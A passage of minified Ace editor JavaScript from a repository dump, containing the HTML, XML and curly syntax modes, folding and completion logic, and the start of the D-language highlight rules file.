n.splice(0),this.token}}],this.embedRules(e,t,[{token:[\"meta.tag.punctuation.end-tag-open.xml\",\"meta.tag.\"+n+\".tag-name.xml\"],regex:\"(</)(\"+n+\"(?=\\\\s|>|$))\",next:n+\"-end\"},{token:\"string.cdata.xml\",regex:\"<\\\\!\\\\[CDATA\\\\[\"},{token:\"string.cdata.xml\",regex:\"\\\\]\\\\]>\"}])}}).call(i.prototype),r.inherits(s,i),t.XmlHighlightRules=s}),define(\"ace/mode/html_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/lib/lang\",\"ace/mode/css_highlight_rules\",\"ace/mode/javascript_highlight_rules\",\"ace/mode/xml_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"../lib/lang\"),s=e(\"./css_highlight_rules\").CssHighlightRules,o=e(\"./javascript_highlight_rules\").JavaScriptHighlightRules,u=e(\"./xml_highlight_rules\").XmlHighlightRules,a=i.createMap({a:\"anchor\",button:\"form\",form:\"form\",img:\"image\",input:\"form\",label:\"form\",option:\"form\",script:\"script\",select:\"form\",textarea:\"form\",style:\"style\",table:\"table\",tbody:\"table\",td:\"table\",tfoot:\"table\",th:\"table\",tr:\"table\"}),f=function(){u.call(this),this.addRules({attributes:[{include:\"tag_whitespace\"},{token:\"entity.other.attribute-name.xml\",regex:\"[-_a-zA-Z0-9:.]+\"},{token:\"keyword.operator.attribute-equals.xml\",regex:\"=\",push:[{include:\"tag_whitespace\"},{token:\"string.unquoted.attribute-value.html\",regex:\"[^<>='\\\"`\\\\s]+\",next:\"pop\"},{token:\"empty\",regex:\"\",next:\"pop\"}]},{include:\"attribute_value\"}],tag:[{token:function(e,t){var n=a[t];return[\"meta.tag.punctuation.\"+(e==\"<\"?\"\":\"end-\")+\"tag-open.xml\",\"meta.tag\"+(n?\".\"+n:\"\")+\".tag-name.xml\"]},regex:\"(</?)([-_a-zA-Z0-9:.]+)\",next:\"tag_stuff\"}],tag_stuff:[{include:\"attributes\"},{token:\"meta.tag.punctuation.tag-close.xml\",regex:\"/?>\",next:\"start\"}]}),this.embedTagRules(s,\"css-\",\"style\"),this.embedTagRules((new o({noJSX:!0})).getRules(),\"js-\",\"script\"),this.constructor===f&&this.normalizeRules()};r.inherits(f,u),t.HtmlHighlightRules=f}),define(\"ace/mode/behaviour/xml\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/behaviour\",\"ace/token_iterator\",\"ace/lib/lang\"],function(e,t,n){\"use strict\";function u(e,t){return e.type.lastIndexOf(t+\".xml\")>-1}var r=e(\"../../lib/oop\"),i=e(\"../behaviour\").Behaviour,s=e(\"../../token_iterator\").TokenIterator,o=e(\"../../lib/lang\"),a=function(){this.add(\"string_dquotes\",\"insertion\",function(e,t,n,r,i){if(i=='\"'||i==\"'\"){var o=i,a=r.doc.getTextRange(n.getSelectionRange());if(a!==\"\"&&a!==\"'\"&&a!='\"'&&n.getWrapBehavioursEnabled())return{text:o+a+o,selection:!1};var f=n.getCursorPosition(),l=r.doc.getLine(f.row),c=l.substring(f.column,f.column+1),h=new s(r,f.row,f.column),p=h.getCurrentToken();if(c==o&&(u(p,\"attribute-value\")||u(p,\"string\")))return{text:\"\",selection:[1,1]};p||(p=h.stepBackward());if(!p)return;while(u(p,\"tag-whitespace\")||u(p,\"whitespace\"))p=h.stepBackward();var d=!c||c.match(/\\s/);if(u(p,\"attribute-equals\")&&(d||c==\">\")||u(p,\"decl-attribute-equals\")&&(d||c==\"?\"))return{text:o+o,selection:[1,1]}}}),this.add(\"string_dquotes\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&(s=='\"'||s==\"'\")){var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==s)return i.end.column++,i}}),this.add(\"autoclosing\",\"insertion\",function(e,t,n,r,i){if(i==\">\"){var o=n.getCursorPosition(),a=new s(r,o.row,o.column),f=a.getCurrentToken()||a.stepBackward();if(!f||!(u(f,\"tag-name\")||u(f,\"tag-whitespace\")||u(f,\"attribute-name\")||u(f,\"attribute-equals\")||u(f,\"attribute-value\")))return;if(u(f,\"reference.attribute-value\"))return;if(u(f,\"attribute-value\")){var l=f.value.charAt(0);if(l=='\"'||l==\"'\"){var c=f.value.charAt(f.value.length-1),h=a.getCurrentTokenColumn()+f.value.length;if(h>o.column||h==o.column&&l!=c)return}}while(!u(f,\"tag-name\"))f=a.stepBackward();var p=a.getCurrentTokenRow(),d=a.getCurrentTokenColumn();if(u(a.stepBackward(),\"end-tag-open\"))return;var v=f.value;p==o.row&&(v=v.substring(0,o.column-d));if(this.voidElements.hasOwnProperty(v.toLowerCase()))return;return{text:\"></\"+v+\">\",selection:[1,1]}}}),this.add(\"autoindent\",\"insertion\",function(e,t,n,r,i){if(i==\"\\n\"){var o=n.getCursorPosition(),u=r.getLine(o.row),a=new s(r,o.row,o.column),f=a.getCurrentToken();if(f&&f.type.indexOf(\"tag-close\")!==-1){if(f.value==\"/>\")return;while(f&&f.type.indexOf(\"tag-name\")===-1)f=a.stepBackward();if(!f)return;var l=f.value,c=a.getCurrentTokenRow();f=a.stepBackward();if(!f||f.type.indexOf(\"end-tag\")!==-1)return;if(this.voidElements&&!this.voidElements[l]){var h=r.getTokenAt(o.row,o.column+1),u=r.getLine(c),p=this.$getIndent(u),d=p+r.getTabString();return h&&h.value===\"</\"?{text:\"\\n\"+d+\"\\n\"+p,selection:[1,d.length,1,d.length]}:{text:\"\\n\"+d}}}}})};r.inherits(a,i),t.XmlBehaviour=a}),define(\"ace/mode/folding/mixed\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/folding/fold_mode\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"./fold_mode\").FoldMode,s=t.FoldMode=function(e,t){this.defaultMode=e,this.subModes=t};r.inherits(s,i),function(){this.$getMode=function(e){typeof e!=\"string\"&&(e=e[0]);for(var t in this.subModes)if(e.indexOf(t)===0)return this.subModes[t];return null},this.$tryMode=function(e,t,n,r){var i=this.$getMode(e);return i?i.getFoldWidget(t,n,r):\"\"},this.getFoldWidget=function(e,t,n){return this.$tryMode(e.getState(n-1),e,t,n)||this.$tryMode(e.getState(n),e,t,n)||this.defaultMode.getFoldWidget(e,t,n)},this.getFoldWidgetRange=function(e,t,n){var r=this.$getMode(e.getState(n-1));if(!r||!r.getFoldWidget(e,t,n))r=this.$getMode(e.getState(n));if(!r||!r.getFoldWidget(e,t,n))r=this.defaultMode;return r.getFoldWidgetRange(e,t,n)}}.call(s.prototype)}),define(\"ace/mode/folding/xml\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/lib/lang\",\"ace/range\",\"ace/mode/folding/fold_mode\",\"ace/token_iterator\"],function(e,t,n){\"use strict\";function l(e,t){return e.type.lastIndexOf(t+\".xml\")>-1}var r=e(\"../../lib/oop\"),i=e(\"../../lib/lang\"),s=e(\"../../range\").Range,o=e(\"./fold_mode\").FoldMode,u=e(\"../../token_iterator\").TokenIterator,a=t.FoldMode=function(e,t){o.call(this),this.voidElements=e||{},this.optionalEndTags=r.mixin({},this.voidElements),t&&r.mixin(this.optionalEndTags,t)};r.inherits(a,o);var f=function(){this.tagName=\"\",this.closing=!1,this.selfClosing=!1,this.start={row:0,column:0},this.end={row:0,column:0}};(function(){this.getFoldWidget=function(e,t,n){var r=this._getFirstTagInLine(e,n);return r?r.closing||!r.tagName&&r.selfClosing?t==\"markbeginend\"?\"end\":\"\":!r.tagName||r.selfClosing||this.voidElements.hasOwnProperty(r.tagName.toLowerCase())?\"\":this._findEndTagInLine(e,n,r.tagName,r.end.column)?\"\":\"start\":\"\"},this._getFirstTagInLine=function(e,t){var n=e.getTokens(t),r=new f;for(var i=0;i<n.length;i++){var s=n[i];if(l(s,\"tag-open\")){r.end.column=r.start.column+s.value.length,r.closing=l(s,\"end-tag-open\"),s=n[++i];if(!s)return null;r.tagName=s.value,r.end.column+=s.value.length;for(i++;i<n.length;i++){s=n[i],r.end.column+=s.value.length;if(l(s,\"tag-close\")){r.selfClosing=s.value==\"/>\";break}}return r}if(l(s,\"tag-close\"))return r.selfClosing=s.value==\"/>\",r;r.start.column+=s.value.length}return null},this._findEndTagInLine=function(e,t,n,r){var i=e.getTokens(t),s=0;for(var o=0;o<i.length;o++){var u=i[o];s+=u.value.length;if(s<r)continue;if(l(u,\"end-tag-open\")){u=i[o+1];if(u&&u.value==n)return!0}}return!1},this._readTagForward=function(e){var t=e.getCurrentToken();if(!t)return null;var n=new f;do if(l(t,\"tag-open\"))n.closing=l(t,\"end-tag-open\"),n.start.row=e.getCurrentTokenRow(),n.start.column=e.getCurrentTokenColumn();else if(l(t,\"tag-name\"))n.tagName=t.value;else if(l(t,\"tag-close\"))return n.selfClosing=t.value==\"/>\",n.end.row=e.getCurrentTokenRow(),n.end.column=e.getCurrentTokenColumn()+t.value.length,e.stepForward(),n;while(t=e.stepForward());return null},this._readTagBackward=function(e){var t=e.getCurrentToken();if(!t)return null;var n=new f;do{if(l(t,\"tag-open\"))return n.closing=l(t,\"end-tag-open\"),n.start.row=e.getCurrentTokenRow(),n.start.column=e.getCurrentTokenColumn(),e.stepBackward(),n;l(t,\"tag-name\")?n.tagName=t.value:l(t,\"tag-close\")&&(n.selfClosing=t.value==\"/>\",n.end.row=e.getCurrentTokenRow(),n.end.column=e.getCurrentTokenColumn()+t.value.length)}while(t=e.stepBackward());return null},this._pop=function(e,t){while(e.length){var n=e[e.length-1];if(!t||n.tagName==t.tagName)return e.pop();if(this.optionalEndTags.hasOwnProperty(n.tagName)){e.pop();continue}return null}},this.getFoldWidgetRange=function(e,t,n){var r=this._getFirstTagInLine(e,n);if(!r)return null;var i=r.closing||r.selfClosing,o=[],a;if(!i){var f=new u(e,n,r.start.column),l={row:n,column:r.start.column+r.tagName.length+2};r.start.row==r.end.row&&(l.column=r.end.column);while(a=this._readTagForward(f)){if(a.selfClosing){if(!o.length)return a.start.column+=a.tagName.length+2,a.end.column-=2,s.fromPoints(a.start,a.end);continue}if(a.closing){this._pop(o,a);if(o.length==0)return s.fromPoints(l,a.start)}else o.push(a)}}else{var f=new u(e,n,r.end.column),c={row:n,column:r.start.column};while(a=this._readTagBackward(f)){if(a.selfClosing){if(!o.length)return a.start.column+=a.tagName.length+2,a.end.column-=2,s.fromPoints(a.start,a.end);continue}if(!a.closing){this._pop(o,a);if(o.length==0)return a.start.column+=a.tagName.length+2,a.start.row==a.end.row&&a.start.column<a.end.column&&(a.start.column=a.end.column),s.fromPoints(a.start,c)}else o.push(a)}}}}).call(a.prototype)}),define(\"ace/mode/folding/html\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/folding/mixed\",\"ace/mode/folding/xml\",\"ace/mode/folding/cstyle\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"./mixed\").FoldMode,s=e(\"./xml\").FoldMode,o=e(\"./cstyle\").FoldMode,u=t.FoldMode=function(e,t){i.call(this,new s(e,t),{\"js-\":new o,\"css-\":new o})};r.inherits(u,i)}),define(\"ace/mode/html_completions\",[\"require\",\"exports\",\"module\",\"ace/token_iterator\"],function(e,t,n){\"use strict\";function f(e,t){return e.type.lastIndexOf(t+\".xml\")>-1}function l(e,t){var n=new r(e,t.row,t.column),i=n.getCurrentToken();while(i&&!f(i,\"tag-name\"))i=n.stepBackward();if(i)return i.value}function c(e,t){var n=new r(e,t.row,t.column),i=n.getCurrentToken();while(i&&!f(i,\"attribute-name\"))i=n.stepBackward();if(i)return i.value}var r=e(\"../token_iterator\").TokenIterator,i=[\"accesskey\",\"class\",\"contenteditable\",\"contextmenu\",\"dir\",\"draggable\",\"dropzone\",\"hidden\",\"id\",\"inert\",\"itemid\",\"itemprop\",\"itemref\",\"itemscope\",\"itemtype\",\"lang\",\"spellcheck\",\"style\",\"tabindex\",\"title\",\"translate\"],s=[\"onabort\",\"onblur\",\"oncancel\",\"oncanplay\",\"oncanplaythrough\",\"onchange\",\"onclick\",\"onclose\",\"oncontextmenu\",\"oncuechange\",\"ondblclick\",\"ondrag\",\"ondragend\",\"ondragenter\",\"ondragleave\",\"ondragover\",\"ondragstart\",\"ondrop\",\"ondurationchange\",\"onemptied\",\"onended\",\"onerror\",\"onfocus\",\"oninput\",\"oninvalid\",\"onkeydown\",\"onkeypress\",\"onkeyup\",\"onload\",\"onloadeddata\",\"onloadedmetadata\",\"onloadstart\",\"onmousedown\",\"onmousemove\",\"onmouseout\",\"onmouseover\",\"onmouseup\",\"onmousewheel\",\"onpause\",\"onplay\",\"onplaying\",\"onprogress\",\"onratechange\",\"onreset\",\"onscroll\",\"onseeked\",\"onseeking\",\"onselect\",\"onshow\",\"onstalled\",\"onsubmit\",\"onsuspend\",\"ontimeupdate\",\"onvolumechange\",\"onwaiting\"],o=i.concat(s),u={html:{manifest:1},head:{},title:{},base:{href:1,target:1},link:{href:1,hreflang:1,rel:{stylesheet:1,icon:1},media:{all:1,screen:1,print:1},type:{\"text/css\":1,\"image/png\":1,\"image/jpeg\":1,\"image/gif\":1},sizes:1},meta:{\"http-equiv\":{\"content-type\":1},name:{description:1,keywords:1},content:{\"text/html; charset=UTF-8\":1},charset:1},style:{type:1,media:{all:1,screen:1,print:1},scoped:1},script:{charset:1,type:{\"text/javascript\":1},src:1,defer:1,async:1},noscript:{href:1},body:{onafterprint:1,onbeforeprint:1,onbeforeunload:1,onhashchange:1,onmessage:1,onoffline:1,onpopstate:1,onredo:1,onresize:1,onstorage:1,onundo:1,onunload:1},section:{},nav:{},article:{pubdate:1},aside:{},h1:{},h2:{},h3:{},h4:{},h5:{},h6:{},header:{},footer:{},address:{},main:{},p:{},hr:{},pre:{},blockquote:{cite:1},ol:{start:1,reversed:1},ul:{},li:{value:1},dl:{},dt:{},dd:{},figure:{},figcaption:{},div:{},a:{href:1,target:{_blank:1,top:1},ping:1,rel:{nofollow:1,alternate:1,author:1,bookmark:1,help:1,license:1,next:1,noreferrer:1,prefetch:1,prev:1,search:1,tag:1},media:1,hreflang:1,type:1},em:{},strong:{},small:{},s:{},cite:{},q:{cite:1},dfn:{},abbr:{},data:{},time:{datetime:1},code:{},\"var\":{},samp:{},kbd:{},sub:{},sup:{},i:{},b:{},u:{},mark:{},ruby:{},rt:{},rp:{},bdi:{},bdo:{},span:{},br:{},wbr:{},ins:{cite:1,datetime:1},del:{cite:1,datetime:1},img:{alt:1,src:1,height:1,width:1,usemap:1,ismap:1},iframe:{name:1,src:1,height:1,width:1,sandbox:{\"allow-same-origin\":1,\"allow-top-navigation\":1,\"allow-forms\":1,\"allow-scripts\":1},seamless:{seamless:1}},embed:{src:1,height:1,width:1,type:1},object:{param:1,data:1,type:1,height:1,width:1,usemap:1,name:1,form:1,classid:1},param:{name:1,value:1},video:{src:1,autobuffer:1,autoplay:{autoplay:1},loop:{loop:1},controls:{controls:1},width:1,height:1,poster:1,muted:{muted:1},preload:{auto:1,metadata:1,none:1}},audio:{src:1,autobuffer:1,autoplay:{autoplay:1},loop:{loop:1},controls:{controls:1},muted:{muted:1},preload:{auto:1,metadata:1,none:1}},source:{src:1,type:1,media:1},track:{kind:1,src:1,srclang:1,label:1,\"default\":1},canvas:{width:1,height:1},map:{name:1},area:{shape:1,coords:1,href:1,hreflang:1,alt:1,target:1,media:1,rel:1,ping:1,type:1},svg:{},math:{},table:{summary:1},caption:{},colgroup:{span:1},col:{span:1},tbody:{},thead:{},tfoot:{},tr:{},td:{headers:1,rowspan:1,colspan:1},th:{headers:1,rowspan:1,colspan:1,scope:1},form:{\"accept-charset\":1,action:1,autocomplete:1,enctype:{\"multipart/form-data\":1,\"application/x-www-form-urlencoded\":1},method:{get:1,post:1},name:1,novalidate:1,target:{_blank:1,top:1}},fieldset:{disabled:1,form:1,name:1},legend:{},label:{form:1,\"for\":1},input:{type:{text:1,password:1,hidden:1,checkbox:1,submit:1,radio:1,file:1,button:1,reset:1,image:31,color:1,date:1,datetime:1,\"datetime-local\":1,email:1,month:1,number:1,range:1,search:1,tel:1,time:1,url:1,week:1},accept:1,alt:1,autocomplete:{on:1,off:1},autofocus:{autofocus:1},checked:{checked:1},disabled:{disabled:1},form:1,formaction:1,formenctype:{\"application/x-www-form-urlencoded\":1,\"multipart/form-data\":1,\"text/plain\":1},formmethod:{get:1,post:1},formnovalidate:{formnovalidate:1},formtarget:{_blank:1,_self:1,_parent:1,_top:1},height:1,list:1,max:1,maxlength:1,min:1,multiple:{multiple:1},pattern:1,placeholder:1,readonly:{readonly:1},required:{required:1},size:1,src:1,step:1,width:1,files:1,value:1},button:{autofocus:1,disabled:{disabled:1},form:1,formaction:1,formenctype:1,formmethod:1,formnovalidate:1,formtarget:1,name:1,value:1,type:{button:1,submit:1}},select:{autofocus:1,disabled:1,form:1,multiple:{multiple:1},name:1,size:1,readonly:{readonly:1}},datalist:{},optgroup:{disabled:1,label:1},option:{disabled:1,selected:1,label:1,value:1},textarea:{autofocus:{autofocus:1},disabled:{disabled:1},form:1,maxlength:1,name:1,placeholder:1,readonly:{readonly:1},required:{required:1},rows:1,cols:1,wrap:{on:1,off:1,hard:1,soft:1}},keygen:{autofocus:1,challenge:{challenge:1},disabled:{disabled:1},form:1,keytype:{rsa:1,dsa:1,ec:1},name:1},output:{\"for\":1,form:1,name:1},progress:{value:1,max:1},meter:{value:1,min:1,max:1,low:1,high:1,optimum:1},details:{open:1},summary:{},command:{type:1,label:1,icon:1,disabled:1,checked:1,radiogroup:1,command:1},menu:{type:1,label:1},dialog:{open:1}},a=Object.keys(u),h=function(){};(function(){this.getCompletions=function(e,t,n,r){var i=t.getTokenAt(n.row,n.column);if(!i)return[];if(f(i,\"tag-name\")||f(i,\"tag-open\")||f(i,\"end-tag-open\"))return this.getTagCompletions(e,t,n,r);if(f(i,\"tag-whitespace\")||f(i,\"attribute-name\"))return this.getAttributeCompletions(e,t,n,r);if(f(i,\"attribute-value\"))return this.getAttributeValueCompletions(e,t,n,r);var s=t.getLine(n.row).substr(0,n.column);return/&[A-z]*$/i.test(s)?this.getHTMLEntityCompletions(e,t,n,r):[]},this.getTagCompletions=function(e,t,n,r){return a.map(function(e){return{value:e,meta:\"tag\",score:Number.MAX_VALUE}})},this.getAttributeCompletions=function(e,t,n,r){var i=l(t,n);if(!i)return[];var s=o;return i in u&&(s=s.concat(Object.keys(u[i]))),s.map(function(e){return{caption:e,snippet:e+'=\"$0\"',meta:\"attribute\",score:Number.MAX_VALUE}})},this.getAttributeValueCompletions=function(e,t,n,r){var i=l(t,n),s=c(t,n);if(!i)return[];var o=[];return i in u&&s in u[i]&&typeof u[i][s]==\"object\"&&(o=Object.keys(u[i][s])),o.map(function(e){return{caption:e,snippet:e,meta:\"attribute value\",score:Number.MAX_VALUE}})},this.getHTMLEntityCompletions=function(e,t,n,r){var i=[\"&Aacute;\",\"&aacute;\",\"&Acirc;\",\"&acirc;\",\"&acute;\",\"&AElig;\",\"&aelig;\",\"&Agrave;\",\"&agrave;\",\"&alefsym;\",\"&Alpha;\",\"&alpha;\",\"&amp;\",\"&and;\",\"&ang;\",\"&Aring;\",\"&aring;\",\"&asymp;\",\"&Atilde;\",\"&atilde;\",\"&Auml;\",\"&auml;\",\"&bdquo;\",\"&Beta;\",\"&beta;\",\"&brvbar;\",\"&bull;\",\"&cap;\",\"&Ccedil;\",\"&ccedil;\",\"&cedil;\",\"&cent;\",\"&Chi;\",\"&chi;\",\"&circ;\",\"&clubs;\",\"&cong;\",\"&copy;\",\"&crarr;\",\"&cup;\",\"&curren;\",\"&Dagger;\",\"&dagger;\",\"&dArr;\",\"&darr;\",\"&deg;\",\"&Delta;\",\"&delta;\",\"&diams;\",\"&divide;\",\"&Eacute;\",\"&eacute;\",\"&Ecirc;\",\"&ecirc;\",\"&Egrave;\",\"&egrave;\",\"&empty;\",\"&emsp;\",\"&ensp;\",\"&Epsilon;\",\"&epsilon;\",\"&equiv;\",\"&Eta;\",\"&eta;\",\"&ETH;\",\"&eth;\",\"&Euml;\",\"&euml;\",\"&euro;\",\"&exist;\",\"&fnof;\",\"&forall;\",\"&frac12;\",\"&frac14;\",\"&frac34;\",\"&frasl;\",\"&Gamma;\",\"&gamma;\",\"&ge;\",\"&gt;\",\"&hArr;\",\"&harr;\",\"&hearts;\",\"&hellip;\",\"&Iacute;\",\"&iacute;\",\"&Icirc;\",\"&icirc;\",\"&iexcl;\",\"&Igrave;\",\"&igrave;\",\"&image;\",\"&infin;\",\"&int;\",\"&Iota;\",\"&iota;\",\"&iquest;\",\"&isin;\",\"&Iuml;\",\"&iuml;\",\"&Kappa;\",\"&kappa;\",\"&Lambda;\",\"&lambda;\",\"&lang;\",\"&laquo;\",\"&lArr;\",\"&larr;\",\"&lceil;\",\"&ldquo;\",\"&le;\",\"&lfloor;\",\"&lowast;\",\"&loz;\",\"&lrm;\",\"&lsaquo;\",\"&lsquo;\",\"&lt;\",\"&macr;\",\"&mdash;\",\"&micro;\",\"&middot;\",\"&minus;\",\"&Mu;\",\"&mu;\",\"&nabla;\",\"&nbsp;\",\"&ndash;\",\"&ne;\",\"&ni;\",\"&not;\",\"&notin;\",\"&nsub;\",\"&Ntilde;\",\"&ntilde;\",\"&Nu;\",\"&nu;\",\"&Oacute;\",\"&oacute;\",\"&Ocirc;\",\"&ocirc;\",\"&OElig;\",\"&oelig;\",\"&Ograve;\",\"&ograve;\",\"&oline;\",\"&Omega;\",\"&omega;\",\"&Omicron;\",\"&omicron;\",\"&oplus;\",\"&or;\",\"&ordf;\",\"&ordm;\",\"&Oslash;\",\"&oslash;\",\"&Otilde;\",\"&otilde;\",\"&otimes;\",\"&Ouml;\",\"&ouml;\",\"&para;\",\"&part;\",\"&permil;\",\"&perp;\",\"&Phi;\",\"&phi;\",\"&Pi;\",\"&pi;\",\"&piv;\",\"&plusmn;\",\"&pound;\",\"&Prime;\",\"&prime;\",\"&prod;\",\"&prop;\",\"&Psi;\",\"&psi;\",\"&quot;\",\"&radic;\",\"&rang;\",\"&raquo;\",\"&rArr;\",\"&rarr;\",\"&rceil;\",\"&rdquo;\",\"&real;\",\"&reg;\",\"&rfloor;\",\"&Rho;\",\"&rho;\",\"&rlm;\",\"&rsaquo;\",\"&rsquo;\",\"&sbquo;\",\"&Scaron;\",\"&scaron;\",\"&sdot;\",\"&sect;\",\"&shy;\",\"&Sigma;\",\"&sigma;\",\"&sigmaf;\",\"&sim;\",\"&spades;\",\"&sub;\",\"&sube;\",\"&sum;\",\"&sup;\",\"&sup1;\",\"&sup2;\",\"&sup3;\",\"&supe;\",\"&szlig;\",\"&Tau;\",\"&tau;\",\"&there4;\",\"&Theta;\",\"&theta;\",\"&thetasym;\",\"&thinsp;\",\"&THORN;\",\"&thorn;\",\"&tilde;\",\"&times;\",\"&trade;\",\"&Uacute;\",\"&uacute;\",\"&uArr;\",\"&uarr;\",\"&Ucirc;\",\"&ucirc;\",\"&Ugrave;\",\"&ugrave;\",\"&uml;\",\"&upsih;\",\"&Upsilon;\",\"&upsilon;\",\"&Uuml;\",\"&uuml;\",\"&weierp;\",\"&Xi;\",\"&xi;\",\"&Yacute;\",\"&yacute;\",\"&yen;\",\"&Yuml;\",\"&yuml;\",\"&Zeta;\",\"&zeta;\",\"&zwj;\",\"&zwnj;\"];return i.map(function(e){return{caption:e,snippet:e.substr(1),meta:\"html entity\",score:Number.MAX_VALUE}})}}).call(h.prototype),t.HtmlCompletions=h}),define(\"ace/mode/html\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/lib/lang\",\"ace/mode/text\",\"ace/mode/javascript\",\"ace/mode/css\",\"ace/mode/html_highlight_rules\",\"ace/mode/behaviour/xml\",\"ace/mode/folding/html\",\"ace/mode/html_completions\",\"ace/worker/worker_client\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"../lib/lang\"),s=e(\"./text\").Mode,o=e(\"./javascript\").Mode,u=e(\"./css\").Mode,a=e(\"./html_highlight_rules\").HtmlHighlightRules,f=e(\"./behaviour/xml\").XmlBehaviour,l=e(\"./folding/html\").FoldMode,c=e(\"./html_completions\").HtmlCompletions,h=e(\"../worker/worker_client\").WorkerClient,p=[\"area\",\"base\",\"br\",\"col\",\"embed\",\"hr\",\"img\",\"input\",\"keygen\",\"link\",\"meta\",\"menuitem\",\"param\",\"source\",\"track\",\"wbr\"],d=[\"li\",\"dt\",\"dd\",\"p\",\"rt\",\"rp\",\"optgroup\",\"option\",\"colgroup\",\"td\",\"th\"],v=function(e){this.fragmentContext=e&&e.fragmentContext,this.HighlightRules=a,this.$behaviour=new f,this.$completer=new c,this.createModeDelegates({\"js-\":o,\"css-\":u}),this.foldingRules=new l(this.voidElements,i.arrayToMap(d))};r.inherits(v,s),function(){this.blockComment={start:\"<!--\",end:\"-->\"},this.voidElements=i.arrayToMap(p),this.getNextLineIndent=function(e,t,n){return this.$getIndent(t)},this.checkOutdent=function(e,t,n){return!1},this.getCompletions=function(e,t,n,r){return this.$completer.getCompletions(e,t,n,r)},this.createWorker=function(e){if(this.constructor!=v)return;var t=new h([\"ace\"],\"ace/mode/html_worker\",\"Worker\");return t.attachToDocument(e.getDocument()),this.fragmentContext&&t.call(\"setOptions\",[{context:this.fragmentContext}]),t.on(\"error\",function(t){e.setAnnotations(t.data)}),t.on(\"terminate\",function(){e.clearAnnotations()}),t},this.$id=\"ace/mode/html\"}.call(v.prototype),t.Mode=v}),define(\"ace/mode/curly_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/html_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./html_highlight_rules\").HtmlHighlightRules,s=function(){i.call(this),this.$rules.start.unshift({token:\"variable\",regex:\"{{\",push:\"curly-start\"}),this.$rules[\"curly-start\"]=[{token:\"variable\",regex:\"}}\",next:\"pop\"}],this.normalizeRules()};r.inherits(s,i),t.CurlyHighlightRules=s}),define(\"ace/mode/curly\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/html\",\"ace/mode/matching_brace_outdent\",\"ace/mode/html_highlight_rules\",\"ace/mode/folding/html\",\"ace/mode/curly_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./html\").Mode,s=e(\"./matching_brace_outdent\").MatchingBraceOutdent,o=e(\"./html_highlight_rules\").HtmlHighlightRules,u=e(\"./folding/html\").FoldMode,a=e(\"./curly_highlight_rules\").CurlyHighlightRules,f=function(){i.call(this),this.HighlightRules=a,this.$outdent=new s,this.foldingRules=new u};r.inherits(f,i),function(){this.$id=\"ace/mode/curly\"}.call(f.prototype),t.Mode=f})"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace/mode-d.js",
    "content": "define(\"ace/mode/doc_comment_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text_highlight_rules\").TextHighlightRules,s=function(){this.$rules={start:[{token:\"comment.doc.tag\",regex:\"@[\\\\w\\\\d_]+\"},s.getTagRule(),{defaultToken:\"comment.doc\",caseInsensitive:!0}]}};r.inherits(s,i),s.getTagRule=function(e){return{token:\"comment.doc.tag.storage.type\",regex:\"\\\\b(?:TODO|FIXME|XXX|HACK)\\\\b\"}},s.getStartRule=function(e){return{token:\"comment.doc\",regex:\"\\\\/\\\\*(?=\\\\*)\",next:e}},s.getEndRule=function(e){return{token:\"comment.doc\",regex:\"\\\\*\\\\/\",next:e}},t.DocCommentHighlightRules=s}),define(\"ace/mode/d_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/doc_comment_highlight_rules\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./doc_comment_highlight_rules\").DocCommentHighlightRules,s=e(\"./text_highlight_rules\").TextHighlightRules,o=function(){var e=\"this|super|import|module|body|mixin|__traits|invariant|alias|asm|delete|typeof|typeid|sizeof|cast|new|in|is|typedef|__vector|__parameters\",t=\"break|case|continue|default|do|else|for|foreach|foreach_reverse|goto|if|return|switch|while|catch|try|throw|finally|version|assert|unittest|with\",n=\"auto|bool|char|dchar|wchar|byte|ubyte|float|double|real|cfloat|creal|cdouble|cent|ifloat|ireal|idouble|int|long|short|void|uint|ulong|ushort|ucent|function|delegate|string|wstring|dstring|size_t|ptrdiff_t|hash_t|Object\",r=\"abstract|align|debug|deprecated|export|extern|const|final|in|inout|out|ref|immutable|lazy|nothrow|override|package|pragma|private|protected|public|pure|scope|shared|__gshared|synchronized|static|volatile\",s=\"class|struct|union|template|interface|enum|macro\",o={token:\"constant.language.escape\",regex:\"\\\\\\\\(?:(?:x[0-9A-F]{2})|(?:[0-7]{1,3})|(?:['\\\"\\\\?0abfnrtv\\\\\\\\])|(?:u[0-9a-fA-F]{4})|(?:U[0-9a-fA-F]{8}))\"},u=\"null|true|false|__DATE__|__EOF__|__TIME__|__TIMESTAMP__|__VENDOR__|__VERSION__|__FILE__|__MODULE__|__LINE__|__FUNCTION__|__PRETTY_FUNCTION__\",a=\"/|/\\\\=|&|&\\\\=|&&|\\\\|\\\\|\\\\=|\\\\|\\\\||\\\\-|\\\\-\\\\=|\\\\-\\\\-|\\\\+|\\\\+\\\\=|\\\\+\\\\+|\\\\<|\\\\<\\\\=|\\\\<\\\\<|\\\\<\\\\<\\\\=|\\\\<\\\\>|\\\\<\\\\>\\\\=|\\\\>|\\\\>\\\\=|\\\\>\\\\>\\\\=|\\\\>\\\\>\\\\>\\\\=|\\\\>\\\\>|\\\\>\\